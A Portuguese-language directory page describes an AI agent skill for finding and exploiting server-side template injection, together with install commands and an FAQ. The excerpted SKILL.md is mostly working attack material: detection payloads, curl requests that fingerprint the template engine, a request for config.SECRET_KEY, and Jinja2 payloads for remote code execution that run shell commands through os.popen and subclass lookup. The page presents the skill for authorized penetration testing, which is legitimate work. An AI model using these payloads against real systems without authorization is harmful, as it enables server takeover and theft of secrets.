Pular para o conteúdo
Skillpedia
Segurança35 mil · #5763

exploiting-template-injection-vulnerabilities

Ensina seu agente de IA a proteger aplicações contra ataques e construir APIs e sistemas de back-end.

O que ela faz

Esta ferramenta ajuda a encontrar e explorar falhas de segurança em sites que usam 'motores de template' para exibir informações. Ela tenta executar comandos no servidor para verificar se a falha é real e até mesmo ler arquivos ou executar comandos.

Quando usar

  • ✓Ao testar a segurança de um site com permissão.
  • ✓Quando o site exibe dados que o usuário insere em áreas como formulários ou mensagens.
  • ✓Para verificar se é possível ler arquivos do servidor ou executar comandos através de falhas de template.

Exemplo do que pedir para a IA

“Verifique se há falhas de injeção de template no site example.com”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-template-injection-vulnerabilities/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-template-injection-vulnerabilities/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta envia textos especiais (payloads) para o site, que são processados pelo motor de template. Se o site responder de forma inesperada, como mostrando o resultado de um cálculo matemático, isso indica uma possível falha que pode ser explorada.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-template-injection-vulnerabilities

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-template-injection-vulnerabilities/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Explorando Vulnerabilidades de Injeção de Template

Quando Usar

  • Durante testes de penetração autorizados quando a entrada do usuário é renderizada através de um motor de template do lado do servidor
  • Ao testar páginas de erro, templates de e-mail, geradores de PDF ou construtores de relatórios que incluem dados fornecidos pelo usuário
  • Para avaliar aplicações que permitem aos usuários personalizar templates ou mensagens de notificação
  • Ao identificar potenciais SSTI em parâmetros que refletem resultados aritméticos (por exemplo, {{7*7}} retorna 49)
  • Durante avaliações de segurança de plataformas CMS, ferramentas de marketing ou qualquer aplicação com funcionalidade de template

Pré-requisitos

  • Autorização: Acordo escrito de teste de penetração com escopo de teste de RCE
  • Burp Suite Professional: Para interceptar e modificar parâmetros de template
  • tplmap: Ferramenta automatizada de exploração de SSTI (git clone https://github.com/epinna/tplmap.git)
  • SSTImap: Scanner moderno de SSTI (pip install sstimap)
  • curl: Para testes manuais de payloads SSTI
  • Conhecimento de motores de template: Jinja2, Twig, Freemarker, Velocity, Mako, Pebble, ERB, Smarty

Fluxo de Trabalho

Passo 1: Identificar Pontos de Injeção de Template

Encontre parâmetros onde a entrada do usuário é processada por um motor de template.

# Inject mathematical expressions to detect template processing
# If the server evaluates the expression, SSTI may be present

# Universal detection payloads
PAYLOADS=(
  '{{7*7}}'           # Jinja2, Twig
  '${7*7}'            # Freemarker, Velocity, Spring EL
  '#{7*7}'            # Thymeleaf, Ruby ERB
  '<%= 7*7 %>'        # ERB (Ruby), EJS (Node.js)
  '{7*7}'             # Smarty
  '{{= 7*7}}'         # doT.js
  '${{7*7}}'          # AngularJS/Spring
  '#set($x=7*7)$x'   # Velocity
)

for payload in "${PAYLOADS[@]}"; do
  encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
  echo -n "$payload -> "
  curl -s "https://target.example.com/page?name=$encoded" | grep -o "49"
done

# Check common injection locations:
# - Error pages with reflected input
# - Profile fields (name, bio, signature)
# - Email subject/body templates
# - PDF/report generation with custom fields
# - Search results pages
# - 404 pages reflecting the URL path
# - Notification templates

Passo 2: Identificar o Motor de Template

Determine qual motor de template está em uso para selecionar a técnica de exploração apropriada.

# Decision tree for engine identification:
# {{7*'7'}} => 7777777 = Jinja2 (Python)
# {{7*'7'}} => 49 = Twig (PHP)
# ${7*7} => 49 = Freemarker/Velocity (Java)
# #{7*7} => 49 = Thymeleaf (Java)
# <%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)

# Test Jinja2 vs Twig
curl -s "https://target.example.com/page?name={{7*'7'}}"
# 7777777 = Jinja2
# 49 = Twig

# Test for Jinja2 specifically
curl -s "https://target.example.com/page?name={{config}}"
# Returns Flask config = Jinja2/Flask

# Test for Freemarker
curl -s "https://target.example.com/page?name=\${.now}"
# Returns date/time = Freemarker

# Test for Velocity
curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a"
# Returns 1 = Velocity

# Test for Smarty
curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}"
# Returns test = Smarty

# Test for Pebble
curl -s "https://target.example.com/page?name={{%27test%27.class}}"
# Returns class info = Pebble

# Use tplmap for automated engine detection
python3 tplmap.py -u "https://target.example.com/page?name=test"

Passo 3: Explorar Jinja2 (Python/Flask)

Alcance a execução de código através da injeção de template Jinja2.

# Ler configuração
curl -s "https://target.example.com/page?name={{config.items()}}"

# Acessar chave secreta
curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}"

# RCE via Jinja2 - método 1: acessando o módulo os através do MRO
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[407]("id",shell=True,stdout=-1).communicate()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# RCE via Jinja2 - método 2: usando cycler
PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# RCE via Jinja2 - método 3: usando lipsum
PAYLOAD='{{lipsum.__globals__["os"].popen("whoami").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# Leitura de arquivo via Jinja2

…
Perguntas frequentes

O que é um 'motor de template'?

É um sistema que ajuda a criar páginas web dinâmicas, misturando conteúdo fixo com informações que mudam, como o nome do usuário ou dados de um formulário.

O que é 'injeção de template'?

É um tipo de falha de segurança onde um atacante consegue inserir comandos ou código malicioso através de um motor de template, que o servidor acaba executando.

Preciso de permissão para usar esta ferramenta?

Sim, é crucial ter autorização explícita por escrito antes de testar qualquer sistema, pois a exploração de vulnerabilidades sem permissão é ilegal.

Detalhes

Descrição original do autor

Detects and exploits Server-Side Template Injection (SSTI) vulnerabilities across Jinja2, Twig, Freemarker, and other template engines to achieve remote code execution. Use when pentesting a web application that renders user input through a server-side template engine and you need to confirm and weaponize SSTI.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#5763
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas